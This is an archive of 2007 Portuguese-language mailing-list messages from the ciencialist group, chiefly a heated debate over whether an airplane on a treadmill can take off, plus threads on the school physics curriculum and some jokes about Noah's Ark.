admitir três referênciais sobre os quais o autor "poderia estar falando":

1 - referencial na terra: esse é o óbvio, o que qualquer pessoa normal
adotaria diante do enunciado. Nesse referencial nós teríamos o avião
indo para um lado e a esteira movendo-se no sentido oposto devido ao
mecanismo mencionado no enunciado que tem justamente a função de
fazê-la ter a mesma velocidade que o avião, porém no sentido oposto.
Nessas circunstâncias o avião voa conforme já ficou demonstrado.

2 - referencial no avião: a velocidade do avião é zero, pois ele nunca
muda de posição em relação a si mesmo. Logo, o autor errou ao dizer
que o avião "tem velocidade" e, consequentemente, a esteira não pode
ter a mesma velocidade que o avião no sentido oposto a ele, pois ambos
estariam parados. Nesse caso nada se pode dizer sobre o avião voar,
pois aviões que são o próprio referencial estarão sempre no mesmo
lugar em relação a si mesmos.

3 - referencial na esteira: nesse caso a esteira jamais terá a mesma
velocidade que o avião, em sentido oposto, pois sendo o referencial
ela não tem movimento em relação a si mesma. Novamente o autor viajou
na maionese e disse bobagem. Além disso, como a esteira não tem
velocidade em relação a si mesma e o avião tem a mesma velocidade que
a esteira, ele só poderá estar parado sobre ela. Assim, nada se pode
dizer também sobre o voo do avião já que ele está em repouso o tempo
todo em relação ao referencial e nada foi dito sobre o movimento do ar
em relação à esteira.

Veja, meu pequeno gênio, que só há uma possibilidade onde a esteira e
o avião podem ter, ambos, velocidades opostas: se o referencial for no
chão.

Claro, existe ainda uma outra possibilidade, mas como essa última só
alguém muito intelectualmente perturbado poderia imaginar, eu a
descartei até agora. Em todo caso, se for seu caso (espero que não
seja), existe ainda a possibilidade de que o autor da questão, não
tendo a menor idéia sobre o que escrevia, escreveu uma grande bobagem
(que não parece bobagem para ninguém, exceto você, talvez) que na
verdade "queria dizer" era que "o avião tem uma velocidade v em
relação à esteira e a esteira tem uma velocidade -v em relação ao
chão". Isso sim seria um belo problema de movimento relativo, com esse
enunciado, mas não com o enunciado original, onde não se diz nem se
sugere que se deva usar dois referenciais distintos. Até porque também
poderíamos ter a velocidade do avião dada em relação ao chão e a
velocidade da esteira dada em relação ao avião ou, finalmente, a
velocidade da esteira dada em relação ao avião e a velocidade do avião
dada em relação à esteira. Eu não creio que ninguém sem problemas
possa fazer essas interpretações e como você parece não ter feito
nenhuma interpretação ainda (ainda estou esperando você fazer a sua)
não dá para saber se você também é um desses casos de internação. :)

No mais já exploramos tudo o que poderia ser de alguma utilidade para
se esclarecer enunciados de questões, movimentos relativos e a
dinâmica do vôo e só nos restou a sua óbvia vontade de encerrar o
debate tentando deixar parecer que você tem um dragão na sua garagem
que só você pode ver. :)

Na boa, José Renato, discutir religião é fácil porque nada ali faz
sentido mesmo, mas discutir ciência não é exatamente uma boa forma de
tentar sofismar. :)

Esqueça esse assunto, engate outra conversa, arrume uma desculpa
qualquer e deixemos por encerrada essa trhead, ok?

A propósito: tenho certeza absoluta de que você já sabe agora muito
mais sobre aviões e movimentos do que sabia antes. Só por isso valeu a
pena.

E só para encerrar com chave de ouro, vamos agora resolver o problema
sem nenhuma física, usando apenas a "lógica" (essa coisinha
aristotélica que Galileu usou contra o próprio Aristóteles no célebre
episódio da "queda dos corpos" que descrevo em um dos meus livros
didáticos - onde chão é chão e aviões voam, he he):

"suponhamos que no referencial das pessoas menos dotadas
intelectualmente, isto é, o chão, o avião voe em relação ao chão (até
porque não vejo outra forma de se dizer que o avião voou sem ser em
relação ao chão). Suponhamos também que no referencial das pessoas
muito bem dotadas intelectualmente (seja lá qual for esse referencial)
o avião não voe em relação ao chão. Se ambos os referenciais são
equivalentes, temos então um avião que voa e que não voa em relação ao
chão (que é o mesmo referencial para detectar o voo nos dois casos),
logo, uma das premissas está errada ou ambas estão erradas, pois uma
avião ou voa ou não voa. Se a primeira está errada, então nenhum avião
voa. Mas aviões voam em relação ao chão (não voam?), logo, a primeira
premissa só pode estar certa. Se a primeira premissa está certa, então
a segunda só pode estar errada, pois ambas não podem estar corretas ao
mesmo tempo. Donde conclui-se que em nenhuma demonstração você provará
que o avião pode voar e não voar ao mesmo tempo em relação ao chão,
não importanto o que se diga da velocidade dele em relação a qualuqer
referencial."

Ah sim, não vamos discutir lógica, tá?

Abraços,
JC

--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> Olá, José Carlos! Grato pelos comentários.
> Respondo seus comentários abaixo, após JR1 -, OK?
> ................................................
> From: "José Carlos Antonio" <profjc2003@To:
<ciencialist@yahoogrupos.com.br>
> Sent: Monday, April 23, 2007 11:48 PM
> Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
entendendo nada
>
>
> Olá José Renato,
>
> Vou respondendo, com calma e paciência, logo abaixo dos seus
> comentários... Você merece. :)
> JR1 - Isso é fundamental ao entendimento do que estamos tratando.
>
> --- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@> escreveu
> >
> > Caro, José Carlos!
> > Esta chegando a hora da verdade. Não dá mais encompridar conversa para
> > tentar esconder a falta de lucidez e atenção para dar as respostas
> > adequadas ao problema apresentado. A melhor atitude depende apenas de
> > você. Analise com clareza. Faço outros comentários no corpo do seu
e-mail,
> > após JR
>
>
> Tentarei, José Renato, tentarei...
> JR1 - Esse é o primeiro passo: disposição.
>
> > ................................................
> >
> > From: "José Carlos Antonio" <profjc2003@To:
> <ciencialist@yahoogrupos.com.br>
> > Sent: Monday, April 23, 2007 7:45 AM
> > Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
> entendendo nada
> >
> > Olá José Renato,
> >
> > Se bem me lembro você já me disse que o enunciado não é seu, logo,
> > decorre daí que também não sendo meu só nos resta nos basearmos
> > naquilo que nos baseamos todos os dias: na experiência e na própria
> > linguagem. Quando falamos em movimentos próximos à superfície da Terra
> > nós "SEMPRE" subentendemos que o chão é nosso referencial e quando
> > queremos tomar outro referencial nós SEMPRE explicitamos isso. Como o
> > autor não explicita nenhum outro referencial, então só nos resta usar
> > a informação padrão.
> > JR - Essa "padronização" não existe, José Carlos. E o fato de vc
> > considerá-la revela que vc deixou de exercitar sua capacidade
> > intelectual e se acostumou em padronizar interpretações.
>
> Pode ser, José Renato, mas também pode não ser. Eu acompanho os
> vestibulares das principais universidades do país (e também os livros
> didáticos) há cerca de 24 anos e não me lembro de muitas questões onde
> se tenha explicitado o referencial como sendo o "chão", por outro lado
> na extrema maioria das vezes esse referencial está "implícito". É
> assim que é, meu caro, e saber disso é parte do "saber Física".
> JR1 - Consideramos o chão como referencial e concordamos que voa.
Por que
> não considerar também a esteira, além do chão? Só por que foi José
Renato
> quem a considerou primeiro e apresentou uma outra resposta?
>
> Imagine que as placas de velocidade máxima de uma rodovia tivessem que
> explicitar: "velocidade máxima permitida em relação ao chão = 80
> km/h"; você não acharia estranho? Imagine que se diga que uma árvore
> tem cinco metros de altura, você terá alguma dúvida de que essa altura
> foi medida em relação ao chão? Na verdade, em todas as situações do
> seu cotidiano em que lhe informam uma velocidade, em quais delas essa
> velocidade não se refere ao chão ou a um referencial imóvel em relação
> ao chão? Vamos, José Renato, pense! ;)
> JR1 - As rodovias são "o chão" assim como a esteira é o "chão" para
o avião
> do problema. Para a medida das altura das árvores já depende do
terreno e de
> referencial, não é tão "preciso" assim. Na agricultura a medida
considera as
> raízes.
>
> Veja que se não explicitamos o referencial no chão e nem em um outro
> local, a escolha será sempre o chão. Se você quiser que o referencial
> seja outro que não o chão, deverá explicitá-lo sempre que os
> movimentos se dão próximos à superfície da Terra. Se o referencial não
> for no chão e não houver uma indicação clara disso, a questão estará
> mal formulada e ao contrário do que você sugere, não demonstrará
> nenhuma "capacidade intelectual" extra do elaborador da questão e nem
> de quem se aventurar a "inventar" novas interpretações estapafúrdias.
> JR1 - É isso que chamo de tentativa de enrolação... O problema
explicita com
> todas as letras que *o avião está sobre a esteira*. Por que vc não quer
> considerar a esteira como "chão", também?
>
> Por fim, note que se o refencial não está explicitado, mas está
> implícito no chão, talvez seja muito mais problemático para você supor
> que o referencial esteja em outro lugar. De qualquer forma, se você
> supõe o referencial em outro lugar, então pelo menos diga que lugar é
> esse. O cúmulo do "excesso de capacidade intelectual" é discordar que
> o referencial seja o chão e não ter nenhum outro referencial para
> propor, você não acha?
> JR1 - Mais tentativa de enrolação... Veja. No problema já
consideramos o
> chão como referencial e demos a resposta de que *o avião voa*.
> Paralelamente, consideramos a esteira como "chão" e concluimos que o
avião
> *não alçará vôo*.
>
>
> > Veja que VOCÊ pode modificar o problema e escrever outro enunciado,
> > pode reescrever o enunciado original conforme queira ou, simplesmente,
> > pode criar um novo problema. A única coisa que nós não podemos é ficar
> > divagando sobre uma coisa tão banal quanto o enunciado de um
> > probleminha ordinário de decolagem de avião. :)
> > JR - O desafio do problema é exatamente a possibilidade de duas
> > respostas à pergunta: o avião voa ou não! E vc quer transformá-lo em
> > um probleminha ordinário de uma única resposta simples, fácil, só
> > porque não conseguiu perceber de cara essa outra resposta ou
> > possibilidade!.
>
>
> É verdade. A mim esse parece ser um probleminha realmente simples e
> ordinário e eu estou tentando há várias mensagens entender como que
> você não o vê dessa forma. :)
> JR1 - Erro inicial de avaliação ou displicência pode estar na raiz
das suas
> dificuldades de entender a questão.
>
> Já resolvemos o problema anterior, em que não havia atrito nenhum
> entre os rolamentos da roda do avião e você concordou, por
> consentimento, que a solução seria o avião decolando normalmente. [
... ]
> JR1 - Se considerarmos a hipótese especial de que não há atrito
algum, o
> avião em si não interage com a esteira. A esteira se movimenta e o
avião
> continua paradão. Não há o que discutir: ele voa.
>
> [ ... ] Digamos então que agora você copiou o enunciado "original" e
> temos um novo problema, mas nesse novo problema o avião também
> decola, a menos, é claro, que você tenha "outra solução". Mas você
> ainda está encalhado no referencial, não é?
> JR1 - Não. Vc é que empacou numa interpretação óbvia, que tento lhes
> mostrar, mas que requer algum esforço de raciocínio.
>
> Eu não vejo a "outra possibilidade" e você parece que também não a vê
> ou vê mas não consegue mostrá-la. Seria uma possibilidade "mística",
> dessas que só vê quem tem fé, ou ainda estamos falando da boa Física
> materialista?
> JR1 - Vc não vê, mas eu vejo. Eu lhe explico, mas vc ainda não parou
para
> procurar entender. Prefere fugir do ponto principal, prefere não
enxergar a
> esteira, prefere tentar me desqualificar... Não é uma postura
recomendável.
> Quando vc cair na real vai perceber as tolices que está escrevendo.
>
>
> > Na minha opinião, depois de 24 anos lidando com enunciados de
> > problemas de Física, tendo eu mesmo escrito milhares deles e lido
> > outros muitos milhares, eu não tenho nenhuma dúvida sobre o que estou
> > falando e sobre onde está o referencial proposto no problema original.
> > Mas você tem toda a liberdade do mundo para recriar o problema.
> > JR - O enunciado do problema é aquele mesmo. Não é necessário mudar.
> > E não o estou recriando. Apenas estou mostrando a vc e aos demais
> > que é importante estar lúcido para perceber as possibilidades que este
> > ou qualquer outro problema apresenta. Os problemas de movimentos
> > relativos são comuns visto que as possibilidades de interações são
> > inúmeras. Exemplo simples: se o ar-vento acelerasse e se deslocasse
> > na mesma velocidade e sentido do avião?
>
> Oras, se o enunciado é aquele, então a velocidade da esteira e do
> avião estão dadas em relação ao chão. Você tem alguma dúvida com
> relação a isso? Qual? Porque? Qual sua interpretação?
> JR1 - Isso está explicado nos esquemas que apresentei. Veja se agora vc
> consegue perceber melhor meu raciocínio. Veja. Se o avião está sobre a
> esteira que se move para trás e o avião para frente *com a mesma
> velocidade*, há uma relação fundamental entre seus movimentos. Isso
fica
> mais visível quando separamos esses dois movimentos e consideramos
apenas a
> esteira se movendo e o avião estacionado sobre ela com as turbinas
> desligadas. A esteira vai carregar o avião para trás... Se o avião
estivesse
> com as turbinas ligadas - e se deslocando *na mesma velocidade* da
esteira -
> ele teria andado o mesmo espaço *em relação ao chão* que a esteira se
> deslocou, isto é, estaria praticamente parado em relação *ao chão e
ao ar
> que o circunda*. Isso, para qualquer que seja a velocidade da
esteira...
> Logo, não voa.
>
>
> > E então, como vai ser? Vai recriar o problema a partir da SUA
> > interpretação dele? Se for, então deixe de dar uma de "João sem braço"
> > e assuma que o novo enunciado será SEU. Daí por diante você reescreve
> > o enunciado, define sua tese sobre a decolagem do avião e nós
> > discutimos as idéias propostas, ok?
> > JR - Por que vc insiste em dizer que a possibilidade existente no
> > problema requer um novo enunciado? Fica melhor assumir que vc não
> > percebeu totalmente o problema, em vez de vir enrolando com desculpas
> > e propostas tolas, na tentativa de confundir os menos atentos.
> > Só depende de você...
>
>
> Só depende de mim o quê? Eu já lhe expliquei que o enunciado refere-se
> ao chão como referencial e que o avião voará (essa é a mesma situação
> I do problema anterior que JÁ RESOLVEMOS). Você ainda tem dúvidas com
> relação ao vôo do avião nessas condições? Qual a dúvida? Porque tem
> essa dúvida?
> JR1 - Ou vc está com dificuldade de memória ou está tentando enrolar
mais
> uma vez. Repito para lhe reavivar o que já estou dizendo a vários
e-mails. O
> avião voará com o *dobro da velocidade* da esteira, quando
consideramos um
> ponto de referência no solo-terra onde está apoiada a esteira. Não há
> dúvidas. Só depende de vc agora atentar ao raciocínio que apresento
para um
> resposta mais adequada em que o avião se desloca exatamente na mesma
> velocidade da esteira, como explicita o enunciado, e não com o dobro da
> velocidade.
>
> Viu só, fiquei calminho e respondi direitinho. Agora é sua vez: qual
> sua dúvida?
> JR1 - Grato pelas respostas, Prof. José Carlos. Se vc for mais objetivo
> chegará rapidamente ao entendimento da resposta - aparentemente
> contraditória - que apresentei e que venho tentando explicar a vc e aos
> demais listeiros. Só vamos ganhar com isso.
>
> Abraços,
> JC
>
> Abraços
> José Renato
>
> > .....................................
> >
> > --- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@> escreveu
> > >
> > > Caro, José Carlos!
> > >
> > > A interpretação de texto é uma das maiores dificuldades que
> > encontramos no
> > > desenvolvimento intelectual dos estudantes brasileiros. É o costume
> > inferir
> > > e pensar açodadamente de acordo com algo parecido ao que já fez ou
> teve
> > > conhecimento um dia.
> > >
> > > É comum problemas entre dois ou mais movimentos, em que não se fala
> > em outro
> > > referencial, apenas na relação entre os movimentos.
> > >
> > > No nosso caso, o avião está sobre a esteira... Por que não
> considerar a
> > > esteira como a pista móvel ou o "chão" móvel onde o avião se
desloca,
> > > tentando decolar? Como se houvesse um deslocamento de terra...
> > >
> > > []s
> > >
> > > José Renato
> > >
> > > ET. [ ...o chão é *sempre* tomado como referencial... ]
> > >
> > > Sempre, é muito tempo, professor!
> > > ................................................
> > >
> > > From: "José Carlos Antonio" <profjc2003@To:
> > <ciencialist@yahoogrupos.com.br>
> > > Sent: Sunday, April 22, 2007 5:08 PM
> > > Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
> > entendendo nada
> > >
> > >
> > > --- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@> escreveu
> > > >
> > > > JC, onde vc viu escrito no enunciado que "o avião e a esteira se
> > > > moverão em sentidos opostos *em relação ao chão*"?
> > >
> > > "...A esteira tem um sistema de controle que acompanha a
velocidade do
> > > avião e faz com que a esteira tenha exatamente a mesma velocidade
> > > dele, na direção oposta."
> > >
> > > A menos que seja feita, explicitamente, a indicação de um
referencial
> > > que não seja o chão, para todos os efeitos o chão é sempre
tomado como
> > > referencial para problemas que envolvem movimentos próximos à
> > > superfície terrestre.
> > >
> > >
> > > Abraços,
> > > JC
> > >
> > > > O que o enunciado afirma é que "Um avião está estacionado em uma
> pista
> > > > móvel".
> > > > []s
> > > > JR
> > > > ................................................
> > > >
> > > > From: "José Carlos Antonio" <profjc2003@>
> > > > To: <ciencialist@yahoogrupos.com.br>
> > > > Sent: Sunday, April 22, 2007 12:59 AM
> > > > Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
> > > entendendo nada
> > > >
> > > >
> > > > Olá José Renato,
> > > >
> > > > Se o enunciado é:
> > > >
> > > > >>>>> Um avião está estacionado em uma pista móvel (como se
> fosse uma
> > > > > esteira rolante). O avião se move em uma direção, e a esteira na
> > > > > direção oposta. A esteira tem um sistema de controle que
> acompanha a
> > > > > velocidade do avião e faz com que a esteira tenha exatamente a
> > > > > mesma velocidade dele, na direção oposta. A pergunta é: o avião
> > > > > vai conseguir decolar?<<<<<
> > > >
> > > > Então a resposta é simples: o avião decolará, pois como o próprio
> > > > enunciado afirma o avião e a esteira se moverão em sentidos
> opostos em
> > > > relação ao chão. Se era só isso não sei porque tanta polêmica.
> > > >
> > > > Abraços,
> > > > JC
>




SUBJECT: Arca de Noé - era Re: Fw: Física
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/04/2007 00:36

Léo,

Muitos materiais didáticos da rede particular começam a Física com um
misto de duas "frentes": mecânica e óptica (você sabe disso). Alguns
começam a mecânica justamente pelas noções básicas de dinâmica, outros
até arriscam os princípios de conservação do movimento. Eu,
particularmente, já experimentei todas essas variações. Atualmente eu
acho que é indiferente começar por cinemática ou não, pois os alunos
terão sempre as mesmas dificuldades seja lá em qual série for. A
solução talvez seja "apresentar de uma forma diferente" dando diversas
possibilidades de aprendizagem em vários níveis de abordagem. Vou
tentar isso de novo nesse ano, parece que tem dado bons resultados em
anos anteriores.

Abraços,
JC



--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
<leobarretos@...> escreveu
>
> JC, cuidado!
>
> Por favor não escreva parágrafos como esse:
>
> >"Nossa, a ciência é realmente burra, nunca vi resposta a nenhuma dessas
> perguntas nos livros de ciência (nem em outros, he he)."<
>
> Já viu o que um crente pode fazer com isso? A 'manchete' será:
"Professor de Física não acredita na Ciência e renega todos os livros
de ciência." E esse "(nem em outros, he he)" será apontado como
Biologia, Química etc.
>
> Quanto à mudança de currículo que apontei, deverá ser uma mudança
Nacional, para todas as escolas!
>
> Interessante nesse item da óptica é uma observação posta por um
professor (ao qual dei a resposta que segue):
> +++++++++
> >>>>"O meu melhor exemplo é a ótica geométrica: como podemos ficar
ensinando aquelas setas para os alunos sem falar sobre luz e cor,
dispersão, polarização, e tantos outros conteúdos muito mais ligados à
vida real do que leis da reflexão e refração."<
>
> Léo: Homem, a óptica geométrica não foi colocada lá na grade
curricular como 'simples estudo da propagação da luz', ela foi posta
para "ensinar geometria euclidiana"; foi posta para o aluno abstrair o
uso da geometria dentro das aplicações do dia-a-dia, foi posta para
ilustrar as demonstrações geométricas, foi posta para mostrar que a
geometria está relacionada com a reflexão, refração, cálculo da
formação das imagens nos espelhos esféricos e lentes delgadas, foi
posta para mostrar o problema das condições de Gauss, foi posta para
ilustrar o teorema do "pé de galinha", foi posta para explicar o
"lugar geométrico" que justifica porque o arco-íris tem forma de arco
(ou de circunferência, se visto de um avião ou alto de uma montanha),
foi posta para explicar os dióptros centrados.
> Depois de encerradas as geometrizações da luz, vem a óptica física,
as fontes, a produção, as ondas e tudo o mais que sabemos e que não
poderia ser apresentado "antes" da óptica geométrica, do estudo das
funções, limites, derivadas, integrais e equações diferenciais.
> Vc não está enxergando isso na 'escola padrão'; o currículo foi
posto por gente boa, com boa formação na 'escola européia de então'
--- e funcionou, comigo, com vc e com toda a nata dos velhos
pesquisadores do séc.XX. No 'final do séc.XX, entraram as
'habilidades' --- e ai está o resultado!
>
> Sou propenso a dizer que a 'ordem dos temas' no ensino da física
poderia ser um tanto alterada, mas tenho muito 'medo' de propor isso,
pois a ordem padrão foi pensada por gente bem melhor que eu. Já fiz
algumas menções a isso, e uma delas é colocar a óptica geométrica no
primeiro ano, desde que o 'curso teórico' fosse acompanhado paripasso
com a experimentação (que em óptica geométrica é tremendamente
simples, requer uma só prancheta para fazer 63 experimentos --- que
cobre até parte das cores, filtros etc.). Ainda no primeiro ano
colocaria as primeira noções de mecânica (força, deformações,
dinamômetros, soma geométrica de forças (prá que falar de vetor?),
equilíbrio intuitivo, etc.).
> +++++++++++++++
>
> aquele abraço,
>
>
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@...
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: "José Carlos Antonio" <profjc2003@...>
> Para: <ciencialist@yahoogrupos.com.br>
> Enviada em: terça-feira, 24 de abril de 2007 23:28
> Assunto: [ciencialist] Arca de Noé - era Re: Fw: Física
>
>
> Léo, grande insight você teve!
>
> Se Noé levou os bichos em "casais", então:
>
> - já havia união estável para bichos gays?
> - como ele sabia que havia apenas um casal de bactérias (???) de cada
> tipo?
> - como se distingue o macho e a fêmea entre vírus?
> - o que aconteceu com os casais de bichos cuja vida não dura nem uma
> semana?
>
> Nossa, a ciência é realmente burra, nunca vi resposta a nenhuma dessas
> perguntas nos livros de ciência (nem em outros, he he).
>
> Mas para que o Brudna não me coloque em moderação eu completo a
> mensagem com uma pergunta para me salvar do mármore do inférno:
> mudando o currículo da primeira séria para "Óptica" (e mais alguma
> coisa, talvez) e deixando o início da mecânica para outra série, não
> criaríamos problemas quando um aluno fosse transferido de uma escola
> para outra onde o currículo não é o mesmo?
>
> Abraços,
> JC
>




SUBJECT: O que ensinar nas escolas - (era Arca de Noé - era Re: Fw: Física)
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/04/2007 00:41

Homero,

Escrevi sobre isso em 2004:

http://www.ciadaescola.com.br/zoom/materia.asp?materia=220

Veja se mudou algo de lá para cá...

Abraços,
JC


--- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@...> escreveu
>
> Olá pessoal
>
> Permitam-me dar uns "pitacos" nessa questão da grade curricular e do
> que ensinar nas escolas. Não sou professor, pelo menos não
> formalmente, mas sempre fico um tanto ressabiado quando escuto que a
> "escola ensina muita bobagem e coisas sem necessidade, como física ou
> logarítimos".
>
> É recorrente que se critique o conteúdo, afirmando que "não serve para
> nada" ou que "eu nunca vou usar isso, para que ter de decorar fórmulas
> de química ou entender equações de segundo grau". Ou mais direcionado
> como "vou ser advogado, para que estudar física e matemática".
>
> Nossa mente, nosso cérebro, como qualquer órgão humano, e qualquer
> processo metabólico, se fortalece com o uso e definha com o desuso.
> Aprendemos para permitir que o cérebro se fortaleça, e parar de
> aprender o faz definhar.
>
> Todas as pesquisas recentes demonstram que manter a atividade
> intelectual, até mesmo com palavras cruzadas, diminui ou mesmo impede
> diversos processos de degeneração cerebral, até Alzheimer.
>
> Além disso, uma educação básica formal permite um melhor exercício de
> cidadania, uma base mais sólida para o pensamento crítico (sempre
> penso que se a população compreendesse melhor a matemática estatística
> e as probabilidades, seria menos vulnerável a charlatões de todos os
> tipos), e ainda permite uma maior auto-estima pessoal.
>
> Entender física, aprender matemática, química, biologia, história,
> etc, a base de todo conhecimento moderno que sustenta nossa
> civilização, não é um esforço "inútil", nem são dispensáveis. No
> mínimo, ele permite fortalecer a mente de forma que esta possa, no
> futuro, aprender outras coisas mais úteis para a vida diária.
>
> O esforço para aprender equações de segundo e terceiro grau, para
> aprender e entender logarítimos, será sempre útil, afiando a mente
> para desafios futuros, uma espécie de "musculação" cerebral. Da mesma
> forma como um jogador de futebol exercita seus braços, e um jogador de
> tênis exercita seu braço esquerdo, precisamos de cada capacidade
> cerebral que possamos desenvolver.
>
> É claro que o currículo escolar pode, e deve, ser ajustado,
> atualizado, revisto, etc. O que era importante ontem pode não ser
> hoje, e como não podemos ensinar TUDO que o conhecimento moderno
> acumulou (acho que a última época em que isso foi possível foi no
> tempo de Leonardo Da Vince), algo deve ser escolhido.
>
> Mas não para facilitar a vida do estudante ou para excluir coisas
> "inúteis". Não há algo como informação ou "cultura inútil", eu penso.
> Toda informação é, ou pode ser, útil, e não sabemos quando isso poderá
> acontecer.
>
> Portanto, não importa que um adulto jamais se lembre de como resolver
> uma equação de segundo grau aprendida no colegial, importa que ao ter
> feito o esforço de aprender, na época, seu cérebro, em um período de
> formação importante, adquiriu mais uma habilidade, se preparou para
> mais uma função cognitiva, que permitirá uma maior capacidade
> intelectual no futuro. Mesmo que esta nada tenha a ver com a equação
> propriamente dita.
>
> Um abraço.
>
> Homero
>




SUBJECT: Re: Fw: Física
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/04/2007 00:45

Textos bíblicos não se discutem. :)

Abraços,
JC


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> Senhores, José Carlos e Luiz!
>
> Se vcs continuarem a discutir textos bíblicos com esse conhecimento
que vcs
> demonstram possuir, serão excluídos da lista ou severamente de
punidos com
> um curso básico de catecismo aos sábados de tarde.
>
> O que o aluno parece desconhecer é matemática escalar, cálculo
vetorial e
> assessórios. Tenho dúvidas se ele já teve aula sobre isso antes ou
nesse
> primeiro ano do curso médio.
>
> []s
>
> JR
> ...........................................
>
> From: "Luiz Ferraz Netto" <leobarretos@To:
<ciencialist@yahoogrupos.com.br>
> Sent: Tuesday, April 24, 2007 8:37 AM
> Subject: Re: [ciencialist] Re: Fw: Física
>
>
> Olá JC, no texto abaixo.
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@...
> http://www.feiradeciencias.com.br
> ===========================
>
>
> >Oi Léo,
> Puxei e puxo mesmo! Adoro puxar as orelhas alheias. :)<
>
> Não me incomodo. Os 'alertas' são sempre bem vindos! Se bem que
"errar é
> humano", bem longe de meu caso! :-)
>
> >Mas, falando sério, nada contra postar as dúvidas dos consulentes
> desde que se possa também postar as dúvidas do José Renato e do
> Ferrari. A diferença entre eles não é assim tão grande quando se trata
> de entender de "Física". :)<
>
> Vc já imaginou eu indicando o GREF, Telecurso2000, Westhpal etc., para
> ambos? Jamais faria isso! Eu indicaria as páginas da bíblia, do
Alcorão etc.
> para sanar quaisquer dúvidas científicas. Ainda bem que a arca de
noé não
> decolou! Pobre dilúvio que 'cobriu toda a terra', onde estarão essas
águas
> hoje? foram para o espaço? A terra subiu? Noé, pobre pescador, não
poude nem
> pescar durante os 40 dias e noites --- pois só levou um casal de
minhocas!
> Para encerrar esse parágrafo: Ambos não têm dúvidas, eles têm
certezas! O
> que dogmas não fazem com as pessoas!
>
> >Recomende ao Cristian que baixe livros online de boa qualidade. Eles
> podem baixar o livro do GREF e do Telecurso 2000 diretamente do meu
> site em http://www.profjc.net/ (é só entrar na "Biblioteca Online",
> menu da esquerda, e seguir o roteiro: biblioteca online -> alunos ->
> material didático para consulta -> "escolha qual quiser"). Está tudo e
> pdf.<
>
> Essa é a resposta que darei ao consulente. Agradeço.
>
> >Porém, sabemos que esses meninos não querem livros, querem respostas
> prontas para as perguntas do professor. :)<
>
> Não são só os alunos que não querem nada com nada! Já viu como os
> 'formandos' fazem seus TCCs atualmente? Tudo tercerizado ... os
menos ruins
> copy/past!
> Semana passada tive um professor de física perguntando o que vem a ser
> 'garrafa de leidim'.
>
> >Além disso, Cinemática Escalar, ninguém merece mesmo! :))) Abraços, JC<
>
> Eu tiraria a Cinemática do 1º ano do ensino médio; deixaria a óptica
> geométrica para iniciar o ano e complementaria o ano com estática e
> hidrostática (noção íntuitiva' de velocidade, quando necessário). Ou
algo do
> gênero; cinemática é basicamente estudo das funções, coisa que o aluno
> poderia aprender (funções, noções de limite, derivada) na matemática
do 1º
> ano.
>
> aquele abraço,
>
> Léo
>
> ===============
>
>
> ##### ##### #####
>
> Página de apoio
> http://www.ciencialist.com
>
>
> ##### ##### ##### #####
> Links do Yahoo! Grupos
>
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> Para alterar a categoria classificada, visite
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23/4/2007
> 17:26
>




SUBJECT: Re: [ciencialist] Re: Fw: Física
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/04/2007 02:28

Curioso: eu sou o primeiro de quem pedem a cabeça...nsilvio....

----- Original Message -----
From: José Carlos Antonio
To: ciencialist@yahoogrupos.com.br
Sent: Thursday, April 26, 2007 12:45 AM
Subject: [ciencialist] Re: Fw: Física


Textos bíblicos não se discutem. :)

Abraços,
JC

--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> Senhores, José Carlos e Luiz!
>
> Se vcs continuarem a discutir textos bíblicos com esse conhecimento
que vcs
> demonstram possuir, serão excluídos da lista ou severamente de
punidos com
> um curso básico de catecismo aos sábados de tarde.
>
> O que o aluno parece desconhecer é matemática escalar, cálculo
vetorial e
> assessórios. Tenho dúvidas se ele já teve aula sobre isso antes ou
nesse
> primeiro ano do curso médio.
>
> []s
>
> JR
> ...........................................
>
> From: "Luiz Ferraz Netto" <leobarretos@To:
<ciencialist@yahoogrupos.com.br>
> Sent: Tuesday, April 24, 2007 8:37 AM
> Subject: Re: [ciencialist] Re: Fw: Física
>
>
> Olá JC, no texto abaixo.
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@...
> http://www.feiradeciencias.com.br
> ===========================
>
>
> >Oi Léo,
> Puxei e puxo mesmo! Adoro puxar as orelhas alheias. :)<
>
> Não me incomodo. Os 'alertas' são sempre bem vindos! Se bem que
"errar é
> humano", bem longe de meu caso! :-)
>
> >Mas, falando sério, nada contra postar as dúvidas dos consulentes
> desde que se possa também postar as dúvidas do José Renato e do
> Ferrari. A diferença entre eles não é assim tão grande quando se trata
> de entender de "Física". :)<
>
> Vc já imaginou eu indicando o GREF, Telecurso2000, Westhpal etc., para
> ambos? Jamais faria isso! Eu indicaria as páginas da bíblia, do
Alcorão etc.
> para sanar quaisquer dúvidas científicas. Ainda bem que a arca de
noé não
> decolou! Pobre dilúvio que 'cobriu toda a terra', onde estarão essas
águas
> hoje? foram para o espaço? A terra subiu? Noé, pobre pescador, não
poude nem
> pescar durante os 40 dias e noites --- pois só levou um casal de
minhocas!
> Para encerrar esse parágrafo: Ambos não têm dúvidas, eles têm
certezas! O
> que dogmas não fazem com as pessoas!
>
> >Recomende ao Cristian que baixe livros online de boa qualidade. Eles
> podem baixar o livro do GREF e do Telecurso 2000 diretamente do meu
> site em http://www.profjc.net/ (é só entrar na "Biblioteca Online",
> menu da esquerda, e seguir o roteiro: biblioteca online -> alunos ->
